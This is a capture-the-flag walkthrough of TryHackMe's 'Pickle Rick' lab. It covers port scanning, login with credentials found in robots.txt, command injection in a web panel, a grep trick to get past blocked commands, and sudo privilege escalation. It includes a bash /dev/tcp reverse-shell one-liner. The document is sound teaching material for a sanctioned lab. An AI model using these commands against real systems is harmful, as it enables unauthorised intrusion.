TryHackMe - Pickle Rick

TryHackMe - Pickle Rick

Title: Pickle Rick

Platform: TryHackMe

Difficulty: Easy

Objective: Root the box and gain access to the three ingredients to turn Rick back into a human from a pickle.

Pickle Rick Challenge Link

We are big Rick & Morty fans so this was the natural first pick to kick off the write ups! Let’s get Schwiftyyyyyyyy…

Note: This writeup does not divulge the flags.


Let’s begin with our favorite tool in the whole wide world..NMAP!

root@ip-10-10-2-8:~# nmap -sS

Starting Nmap 7.60 ( <> ) at 2023-12-28 20:40 GMT
Nmap scan report for (
Host is up (0.00064s latency).
Not shown: 998 closed ports
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:A3:0A:ED:E4:EB (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds

And with a few other switches..

root@ip-10-10-2-8:~# nmap -sC -sV

Starting Nmap 7.60 ( <> ) at 2023-12-28 20:41 GMT
Nmap scan report for (
Host is up (0.00059s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ca:29:35:20:59:12:22:6d:b5:9e:71:a9:13:ae:74:c1 (RSA)
|   256 4d:ad:85:45:39:1f:4e:e4:c5:f5:27:14:57:d3:81:fd (ECDSA)
|_  256 ff:d6:fd:35:1d:6e:2b:e8:66:8b:33:20:eb:b2:f4:35 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
MAC Address: 02:A3:0A:ED:E4:EB (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <> .
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds

Navigating to Port 80 we are greeted with Grandpa RICK

Viewing the source of the index.html page we see the following

Now let’s enumerate the usual suspects using nikto

root@ip-10-10-2-8:~# nikto -h <>
- Nikto v2.1.5
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2023-12-28 20:44:37 (GMT0)
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x426 0x5818ccf125686 
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" retrieved but it does not contain any 'disallow' entries (which is odd).
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ Cookie PHPSESSID created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-12-28 20:44:47 (GMT0) (10 seconds)
+ 1 host(s) tested
  • robots.txt

    I couldn’t stop laughing when I saw the entry

  • login.php

    Let’s try a few standard combinations for usernames and passwords

Username found earlier with the robots.txt entry combination works and we are in!

We are now logged into a portal.php

All the other tabs redirect to denied.php so we will investigate the command panel with something simple for a command injection

Cat the first one doesn’t work and we get a Command disabled message so let’s look at the clue.txt

Cat and tail and similar commands do not work but we notice that grep works, now we use a shwifty little trick to read the text file like so

grep -v "test" filename

Voila! We have our first ingredient!

I Smell a Shell Morty!

Let’s try to pop a shell and we see we get a similar response with sh and a few moments later this works

bash -c 'sh -i >& /dev/tcp/ 0>&1'

We read the clue.txt and go to /home and we see the second ingredient folder and go grab it.

You don't necessarily need to pop a shell, you can get by with command injection in the panel we saw earlier but shells are fun and I like poppin' them.

One Step Closer....All powerful Root!

Now for the final ingredient which is root probably we see that the user www-datahas sudo access and we run sudo -l to see what privileges our user has.


Don't we just love when this happens?

sudo -i and we're done.

Head to the root directory and we have our final ingredient.

That's all for today folks, see you on the next one!